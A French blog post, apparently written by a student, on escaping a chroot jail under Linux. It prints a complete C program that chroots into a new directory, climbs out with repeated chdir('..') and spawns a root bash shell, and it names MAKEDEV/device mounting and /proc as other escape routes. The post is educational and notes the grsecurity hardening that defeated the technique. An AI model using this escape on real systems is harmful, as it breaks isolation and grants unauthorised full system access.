BlueIcefield Le savoir n'a de valeur que s'il est partagé

[Sécurité/Linux] Chroot Break

Derrière ce titre original se cache un billet traitant de l'évasion d'un chroot sous GNU/Linux, sujet pour lequel je me suis très fortement inspiré de ce que j'ai vu récemment en cours.

De plus en plus de personnes procèdent au compartimentage des applications de leur serveur à l'aide de l'outil chroot, le but de cette manipulation étant de limiter l'impacte du piratage d'une des applications (services) du serveur en isolant les programmes les uns les autres. Ainsi, si un hacker obtient un accès via un service X, il se trouvera enfermer dans une cage ce qui l'empêchera d'infecter le reste du système, la sécurité globale reste donc préservée.

Cela dit, les gens savent moins souvent que la commande chroot n'a pas pour vocation première de sécuriser un système en mettant en place des cages. De nombreuses techniques permettent en effet de s'échapper d'un chroot et d'avoir ainsi accès à l'ensemble du système.

Voici un petit programme rédigé en C qui permet d'outrepasser un chroot :

/**

* Programme en C permettant d'outrepasser un chroot.

* Auteur : Lucas Nussbaum - IUT Charlemagne Nancy2, France.

*/

#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>

#include <sys/stat.h>

#include <sys/types.h>

int main() {

/* On se positionne a la racine du chroot */

if (chdir("/") == -1) { perror("chdir"); }

/* On cree un repertoire 'foo' et un chroot dedans */

if (mkdir("/foo", 0755) == -1) { perror("mkdir"); }

if (chroot("/foo") == -1) { perror("chroot"); }

/* A ce moment la, la racine du processus est /foo, mais le repertoire courant du processus pointe en dehors du chroot.

On fait remonter le repertoire courant. */

if (chdir("../../../../..") == -1) { perror("chdir"); }

/* On execute un shell */

system("/bin/bash");

return 0;

}

Deux remarques au sujet de ce code mis au point par mon enseignant :

1. Il requière les privilèges root.
2. Il requière l'accès à un compilateur C ou d'avoir la possibilité d'exécuter un programme

Ce programme exploite l'appel système chroot pour casser une prison. La démarche se résume à accéder à la racine du chroot, à créer un répertoire et à chrooter celui-ci à l'aide d'un appel système en langage C. Le fait de chrooter ce répertoire va modifier le répertoire racine du processus mais pas le répertoire courant qui se retrouve du coup en dehors du nouveau chroot... on est ainsi libre ! Il suffit dès lors de remonter plusieurs répertoire jusqu'à se retrouver à la racine "/" et de lancer un shell bash pour avoir un accès complet au système.

D'autres méthodes existes pour outrepasser un chroot. On peut notamment utiliser la commande MAKEDEV pour des devices sda* et en suite les monter et avoir ainsi accès à l'ensemble du disque dur. Il est aussi possible de passer via /proc qui contient diverses informations sur les processus courants du système.

Vous avez néanmoins bien compris que ces méthodes requièrent les droits root pour pouvoir êtres exploitées, le pirate devra donc par exemple passer via un faille du kernel pour obtenir ces privilèges.

Lors du TP qui traitait de ce sujet, le programme mentionné ci-dessus n'a pas fonctionné (pourtant lancé en root) sur mon serveur basée sur Debian, la raison à cela est que j'utilise un noyau patché avec GrSecurity qui inclus certains renforcements pour chroot.

D'ailleurs, j'essaierai prochainement de rédiger un billet traitant des dispositifs que j'ai mis en place sur mon serveur pour le sécuriser.